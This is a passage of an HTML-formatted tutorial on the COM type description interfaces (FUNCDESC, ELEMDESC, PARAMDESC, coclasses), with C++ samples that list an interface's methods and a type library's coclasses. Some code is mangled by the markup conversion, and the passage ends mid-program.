&lt;p&gt;&lt;span style="font-family:Arial;"&gt;The TKIND_ALIAS type kind indicates description of a typedef.  The name of the typedef is the name of the type (acquired through &lt;strong&gt;GetDocumentation&lt;/strong&gt;), and the alias type is &lt;strong&gt;TYPEATTR::tdescAlias&lt;/strong&gt;.  We sent this &lt;strong&gt;TYPEDESC&lt;/strong&gt; instance through &lt;strong&gt;stringifyTypeDesc&lt;/strong&gt; to produce the stringified alias.  The following screen shot displays the typedefs of the Visio 5.0 type library.&lt;/span&gt;&lt;/p&gt;  &lt;p align="center"&gt;&lt;img src="http://spec.winprog.org/typeinf2/typedef1.gif" alt="typedef1.gif (8965 bytes)" height="375" width="390" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;We've now covered the variable types: structure, union, enum, and typedef.  It's now time to get back to our original problem; that is, how to enumerate the methods and properties exposed by an interface.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The COM type description API includes two jumbo structures for retrieving information.  We've met one already: &lt;strong&gt;VARDESC&lt;/strong&gt;.  The other structure is called &lt;strong&gt;FUNCDESC&lt;/strong&gt; and is used to retrieve information about COM methods.  &lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;strong&gt;&lt;small&gt;from OAIDL.IDL&lt;/small&gt;&lt;/strong&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;typedef&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;struct&lt;/span&gt;     tagFUNCDESC {&lt;br /&gt;        MEMBERID memid;&lt;br /&gt;        [&lt;span style="color:#0000ff;"&gt;size_is&lt;/span&gt;(cScodes)] SCODE * lprgscode;&lt;br /&gt;        [&lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;size_is&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(cParams)] ELEMDESC * lprgelemdescParam; &lt;span style="color:#007d0a;"&gt;/* array     of param types */&lt;/span&gt;&lt;br /&gt;        FUNCKIND funckind;&lt;br /&gt;        INVOKEKIND invkind;&lt;br /&gt;        CALLCONV callconv;&lt;br /&gt;        SHORT cParams;&lt;br /&gt;        SHORT cParamsOpt;&lt;br /&gt;        SHORT oVft;&lt;br /&gt;        SHORT cScodes;&lt;br /&gt;        ELEMDESC elemdescFunc;&lt;br /&gt;        WORD wFuncFlags;&lt;br /&gt;    } FUNCDESC, * LPFUNCDESC;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;With an &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer describing an interface or dispinterface, a &lt;strong&gt;FUNCDESC&lt;/strong&gt; structure can be acquired with the &lt;strong&gt;ITypeInfo::GetFuncDesc&lt;/strong&gt; method.  Like &lt;strong&gt;VARDESC&lt;/strong&gt;s and &lt;strong&gt;TYPEATTR&lt;/strong&gt;s, &lt;strong&gt;FUNCDESC&lt;/strong&gt;s need to be explicitly released with the method &lt;strong&gt;ITypeInfo::ReleaseFuncDesc&lt;/strong&gt;.  An interface is a group of methods, so each interface type description exposes one or more &lt;strong&gt;FUNCDESC&lt;/strong&gt;s.  Invoke &lt;strong&gt;ITypeInfo::GetTypeAttr&lt;/strong&gt; to retrieve an &lt;strong&gt;TYPEATTR&lt;/strong&gt; structure; &lt;strong&gt;TYPEATTR::cFuncs&lt;/strong&gt; is the number of methods the interface supports, so passing an index between 0 and &lt;strong&gt;TYPEATTR::cFuncs&lt;/strong&gt; - 1 to &lt;strong&gt;ITypeInfo::GetFuncDesc&lt;/strong&gt; retrieves the appropriate function description.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;FUNCDESC::memid&lt;/strong&gt; is the DISPID of the method.  &lt;strong&gt;IDispatch::GetIDsOfNames&lt;/strong&gt; often delegates to &lt;strong&gt;ITypeInfo::GetIDsOfNames&lt;/strong&gt;, which returns this very value upon a match.  &lt;strong&gt;FUNCDESC::invkind&lt;/strong&gt; holds a value of the &lt;strong&gt;INVOKEKIND&lt;/strong&gt; enumerator.  While the values are single bits, they are not flags.  If a single method has a INVOKE_PROPERTYGET, INVOKE_PROPERTYPUT, and INVOKE_PROPERTYPUTREF version, each one will have its own index in the type description.  The &lt;strong&gt;FUNCKIND&lt;/strong&gt; and &lt;strong&gt;CALLCONV&lt;/strong&gt; elements should not cause anyone much grief: the function kind is determined by the type of interface (dispatch or virtual), as is indicated by &lt;strong&gt;TYPEATTR::typekind&lt;/strong&gt;; if the calling convention is not CC_STDCALL, the object implementor has already been excommunicated from the Church of COM and put to death by means of trash compactor.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;FUNCDESC::wFuncFlags&lt;/strong&gt; holds a value of the &lt;strong&gt;FUNCFLAGS&lt;/strong&gt; enumerator.  These flags control how a method should be presented to a type browser.  While these attributes have some value, the most important attributes are set at an interface-wide level; check &lt;strong&gt;TYPEATTR::wTypeFlags&lt;/strong&gt;.  &lt;strong&gt;FUNCDESC::cScodes&lt;/strong&gt; specifies the number of permitted return values.  The actual return codes are stored in the &lt;strong&gt;lprgscode&lt;/strong&gt; array.  An important property about dispatch and dual interface methods is that they should not return custom error codes.  If a method fails, a COM exception should be set through the &lt;strong&gt;EXCEPINFO&lt;/strong&gt; parameter of &lt;strong&gt;IDispatch::Invoke&lt;/strong&gt;.  &lt;strong&gt;cScodes&lt;/strong&gt; will almost always be zero, and the corresponding array empty.  &lt;strong&gt;FUNCDESC::oVft&lt;/strong&gt; specifies the function's offset in the virtual table, for those Automation controllers implementing their own vcall thunks.  Naturally, only depend on this value for TKIND_INTERFACE methods.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;There are three very important elements in &lt;strong&gt;FUNCDESC&lt;/strong&gt;: &lt;strong&gt;elemdescFunc&lt;/strong&gt;, &lt;strong&gt;cParams&lt;/strong&gt;, and &lt;strong&gt;lprgelemdescParam&lt;/strong&gt;.  &lt;strong&gt;elemdescFunc&lt;/strong&gt; is an &lt;strong&gt;ELEMDESC&lt;/strong&gt; instance holding the return value type.  We can pass &lt;strong&gt;elemdescFunc.tdesc&lt;/strong&gt; to our method &lt;strong&gt;stringifyTypeDesc&lt;/strong&gt; (presented above) to acquire a string representation.  For TKIND_DISPATCH methods, this is not the actual return value, but the parameter with the [retval] attribute.  For TKIND_INTERFACE methods, this is the actual return value, usually HRESULT.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;FUNCDESC::cParams&lt;/strong&gt; specifies the number of parameters the function takes (&lt;strong&gt;cParamsOpt&lt;/strong&gt; specifies the number of optional parameters, but as we'll see in a bit, this is just a convienence).  Indexing from 0 to &lt;strong&gt;cParams&lt;/strong&gt; - 1 into the &lt;strong&gt;lprgelemdescParam&lt;/strong&gt; array gives the &lt;strong&gt;ELEMDESC&lt;/strong&gt; instance for the appropriately ordered parameter.  We could just feed &lt;strong&gt;lprgelemdescParam[i].tdesc&lt;/strong&gt; to our &lt;strong&gt;stringifyTypeDesc&lt;/strong&gt; procedure, but we'd be missing out on so much important information.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;strong&gt;from OAIDL.IDL&lt;/strong&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;typedef&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;struct&lt;/span&gt;     tagELEMDESC {&lt;br /&gt;        TYPEDESC tdesc;                          &lt;span style="color:#007d0a;"&gt;/* the     type of the element */&lt;/span&gt;&lt;br /&gt;        PARAMDESC paramdesc;                     &lt;span style="color:#007d0a;"&gt;/* IDLDESC     is a subset of PARAMDESC */&lt;/span&gt;&lt;br /&gt;    } ELEMDESC;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;typedef&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;struct&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     tagPARAMDESC {&lt;br /&gt;        LPPARAMDESCEX pparamdescex;    &lt;span style="color:#007d0a;"&gt;          /* valid if PARAMFLAG_FHASDEFAULT bit is set */&lt;/span&gt;&lt;br /&gt;        USHORT     wParamFlags;            &lt;span style="color:#007d0a;"&gt;      /* IN, OUT, etc */&lt;/span&gt;&lt;br /&gt;    } PARAMDESC, * LPPARAMDESC;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;typedef&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;struct&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     tagPARAMDESCEX {&lt;br /&gt;        ULONG cBytes;                                &lt;span style="color:#007d0a;"&gt;/* size of this structure */&lt;/span&gt;&lt;br /&gt;        VARIANTARG varDefaultValue;              &lt;span style="color:#007d0a;"&gt;/* default value of     this parameter */&lt;/span&gt;&lt;br /&gt;    } PARAMDESCEX, * LPPARAMDESCEX;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;const&lt;/span&gt; USHORT     PARAMFLAG_NONE = 0x00;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FIN = 0x01;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FOUT = 0x02;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FLCID = 0x04;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FRETVAL = 0x08;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FOPT = 0x10;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FHASDEFAULT = 0x20;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;const&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     USHORT PARAMFLAG_FHASCUSTDATA = 0x40;&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The &lt;strong&gt;TYPEDESC&lt;/strong&gt; is only half of the &lt;strong&gt;ELEMDESC&lt;/strong&gt; structure.  We touched on the &lt;strong&gt;PARAMDESC&lt;/strong&gt; element a few pages back, but now it's time to hammer on it.  &lt;strong&gt;PARAMDESC::wParamFlags&lt;/strong&gt; holds the PARAMFLAG_XXXX values.  These translate almost directly to similarly named MIDL parameter attributes.  Notice PARAMFLAG_FOPT - this indicator of an optional function is far more helpful than &lt;strong&gt;FUNCDESC::cParamsOpt&lt;/strong&gt; count (who cares about how many; I'd rather know which ones).  The PARAMFLAG_FRETVAL attribute is rather interesting; you'll only see it on TKIND_INTERFACE methods.  Dispatch interface methods move the [retval] parameter to the &lt;strong&gt;FUNCDESC::elemdescFunc&lt;/strong&gt; item.  &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;If the PARAMFLAG_FOPT and PARAMFLAG_FHASDEFAULT attributes are defined, your parameter has a default value.  In this case, &lt;strong&gt;PARAMDESC::pparamdescex&lt;/strong&gt; is nonzero, pointing to a &lt;strong&gt;PARAMDESCEX&lt;/strong&gt; instance.  &lt;strong&gt;PARAMDESCEX::varDefaultValue&lt;/strong&gt; is your parameter's default value.  Because parameters can be passed by reference (indicated by the VT_BYREF flag), a &lt;strong&gt;VARIANTARG&lt;/strong&gt; structure is included in &lt;strong&gt;PARAMDESCEX&lt;/strong&gt; structure.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Shall we complete our assignment and display all the methods exposed by the default interface of a COM object through Type Information?&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt;     &lt;windows.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;atlbase.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;iostream&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;sstream&gt;&lt;/span&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#007d0a;"&gt;// print     out all the methods in the default interface&lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt; &lt;/span&gt;&lt;/small&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; main() {&lt;br /&gt;        HRESULT hr(CoInitialize(0));&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"No COM... This is embarassing.\n\n"&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt;; }&lt;br /&gt;        CLSID clsid;&lt;br /&gt;        hr = CLSIDFromString(L&lt;span style="color:#ff0000;"&gt;"Shell.Explorer"&lt;/span&gt;,     &amp;amp;clsid);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Can't find the     CLSID in the registry\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;        CComPtr&lt;idispatch&gt; pSlider;&lt;br /&gt;        hr = CoCreateInstance(clsid, 0, CLSCTX_INPROC_SERVER |     CLSCTX_LOCAL_SERVER,&lt;br /&gt;            IID_IDispatch, (&lt;span style="color:#0000ff;"&gt;void&lt;/span&gt;**)&amp;amp;pSlider);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Can't     CoCreateInstance the object\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }   &lt;br /&gt;        CComPtr&lt;itypeinfo&gt; pTypeInfo;&lt;br /&gt;        hr = pSlider-&gt;GetTypeInfo(0, 0, &amp;amp;pTypeInfo);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Object doesn't     supply type info\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;        TYPEATTR* typeAttr;&lt;br /&gt;        pTypeInfo-&gt;GetTypeAttr(&amp;amp;typeAttr);&lt;br /&gt;        CComBSTR interfaceName;&lt;br /&gt;        hr = pTypeInfo-&gt;GetDocumentation(-1, &amp;amp;interfaceName, 0, 0, 0);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Unknown default     interface:\n"&lt;/span&gt;;&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;else&lt;/span&gt; std::wcout&lt;&lt; color="#ff0000"&gt;":\n"&lt;/span&gt;;&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt;(UINT curFunc(0); curFunc &lt;&gt;cFuncs; ++curFunc) {&lt;br /&gt;            FUNCDESC* funcDesc;&lt;br /&gt;            hr = pTypeInfo-&gt;GetFuncDesc(curFunc,     &amp;amp;funcDesc);&lt;br /&gt;            CComBSTR methodName;&lt;br /&gt;            hr |=     pTypeInfo-&gt;GetDocumentation(funcDesc-&gt;memid, &amp;amp;methodName, 0, 0, 0);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Error In     Name\n"&lt;/span&gt;; &lt;/span&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;                &lt;/span&gt;pTypeInfo-&gt;ReleaseFuncDesc(funcDesc);&lt;span style="color:#0000ff;"&gt; continue&lt;/span&gt;; }&lt;br /&gt;           &lt;br /&gt;            std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;'\t'&lt;/span&gt;&lt;&lt;&gt;elemdescFunc.tdesc,&lt;br /&gt;                pTypeInfo)&lt;&lt; &lt;span style="color:#ff0000;"&gt;' '&lt;/span&gt;;&lt;br /&gt;            std::wcout&lt;&lt; color="#ff0000"&gt;"("&lt;/span&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;for&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(UINT curParam(0); curParam &lt;&gt;cParams; ++curParam) {&lt;br /&gt;                std::cout&lt;&lt;     stringifyTypeDesc(&lt;br /&gt;                        &amp;amp;funcDesc-&gt;lprgelemdescParam[curParam].tdesc, pTypeInfo);&lt;br /&gt;                &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(curParam &lt;&gt;cParams - 1) std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;", "&lt;/span&gt;;&lt;br /&gt;            }&lt;br /&gt;            std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;')'&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color:#0000ff;"&gt;switch&lt;/span&gt;(funcDesc-&gt;invkind)     {&lt;br /&gt;            &lt;span style="color:#0000ff;"&gt;case&lt;/span&gt;     INVOKE_PROPERTYGET: std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;" propget"&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;break&lt;/span&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; INVOKE_PROPERTYPUT: std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"     propput"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;break&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;;&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; INVOKE_PROPERTYPUTREF: std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"     propputref"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;break&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;;&lt;br /&gt;            }&lt;br /&gt;            std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;'\n'&lt;/span&gt;;&lt;br /&gt;            pTypeInfo-&gt;ReleaseFuncDesc(funcDesc);&lt;br /&gt;        }&lt;br /&gt;        pTypeInfo-&gt;ReleaseTypeAttr(typeAttr);&lt;br /&gt;    }&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Here we ouput the methods (and their parameters) of a default interface.  Funny that Shell.Explorer's default interface is &lt;strong&gt;IWebBrowser2&lt;/strong&gt;.  Apparently no one at the Department of Justice has ever written their own COM Type Info browser.  After grabbing the &lt;strong&gt;FUNCDESC&lt;/strong&gt; structure from invoking &lt;strong&gt;ITypeInfo::GetFuncDesc&lt;/strong&gt; on our default interface's type description, we output &lt;strong&gt;stringifyTypeDesc&lt;/strong&gt; on &lt;strong&gt;FUNCDESC::elemdescFunc.tdesc&lt;/strong&gt;.  Calling &lt;strong&gt;ITypeInfo::GetDocumentation&lt;/strong&gt; on a method's MEMBERID (the DISPID) retrieves the name of the method.  &lt;strong&gt;ITypeInfo::GetNames&lt;/strong&gt; will also serve this purpose.  We output this name, and then enter a for loop, invoking &lt;strong&gt;stringifyTypeDesc&lt;/strong&gt; on each parameter's &lt;strong&gt;ELEMDESC::tdesc&lt;/strong&gt;.  Finally, we append the invoke kind to the end of the method (INVOKE_FUNC is implicit).&lt;/span&gt;&lt;/p&gt;  &lt;p align="center"&gt;&lt;img src="http://spec.winprog.org/typeinf2/methods1.gif" alt="methods1.gif (10813 bytes)" height="320" width="695" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;By now you have a good understanding of the COM type description interfaces.  You can literally walk down the street, and laugh at every person you see saying "I know the COM type description interfaces better than you" and be right.  Although, don't head for the door yet!  There is one last lesson: the coclass.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The coclass is the most important item encoded in type libraries.  Without instantiatable types, COM is worthless.  Think back to the &lt;strong&gt;TYPEATTR&lt;/strong&gt; definition.  For an interface type description, &lt;strong&gt;TYPEATTR::cImplTypes&lt;/strong&gt; held the number of immediate base interfaces.  The &lt;strong&gt;ITypeInfo::GetRefTypeOfImplType&lt;/strong&gt; method was invoked to resolve the &lt;strong&gt;HREFTYPE&lt;/strong&gt; of the base interface.  The &lt;strong&gt;HREFTYPE&lt;/strong&gt; was then fed to &lt;strong&gt;ITypeInfo::GetRefTypeInfo&lt;/strong&gt;, which produced a new &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer, this one referring to the base interface.  Why do i bring this up now?  The exact same mechanism is used to acquire implemented interfaces of coclasses.  Check out this program that displays a type library's coclasses and their interfaces.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt;     &lt;windows.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;atlbase.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;iostream&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;sstream&gt;&lt;/span&gt;&lt;/small&gt;&lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;color:#007d0a;"&gt;// print     out all the coclasses and their interface&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#007d0a;"&gt;s&lt;/span&gt; &lt;/span&gt;&lt;/small&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; main() {&lt;br /&gt;        HRESULT hr(CoInitialize(0));&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"No COM... This is embarassing.\n\n"&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt;; }&lt;br /&gt;        CComPtr&lt;itypelib&gt; pTypeLib;&lt;br /&gt;        hr = LoadTypeLib(L&lt;span style="color:#ff0000;"&gt;"C:\\Windows\\System\\Shdocvw.dll"&lt;/span&gt;,     &amp;amp;pTypeLib);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Couldn't load type     lib *cry*\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;        UINT infoCount(pTypeLib-&gt;GetTypeInfoCount());&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt;(UINT curCoClass(0); curCoClass &lt;     infoCount; ++curCoClass) {&lt;br /&gt;            TYPEKIND typeKind;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfoType(curCoClass,     &amp;amp;typeKind);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr || typeKind != TKIND_COCLASS) &lt;span style="color:#0000ff;"&gt;continue&lt;/span&gt;;&lt;br /&gt;            CComBSTR coClassName;&lt;br /&gt;            hr = pTypeLib-&gt;GetDocumentation(curCoClass,     &amp;amp;coClassName, 0, 0, 0);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;continue&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;;&lt;br /&gt;            std::wcout&lt;&lt; color="#ff0000"&gt;":\n"&lt;/span&gt;;&lt;br /&gt;            CComPtr&lt;itypeinfo&gt; pTypeInfo;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfo(curCoClass,     &amp;amp;pTypeInfo);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"\tProblem with     CoClass\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;continue&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;            TYPEATTR* typeAttr;&lt;br /&gt;            hr = pTypeInfo-&gt;GetTypeAttr(&amp;amp;typeAttr);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"\tCouldn't get     TYPEATTR\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;continue&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;for&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(UINT curInterface(0); curInterface 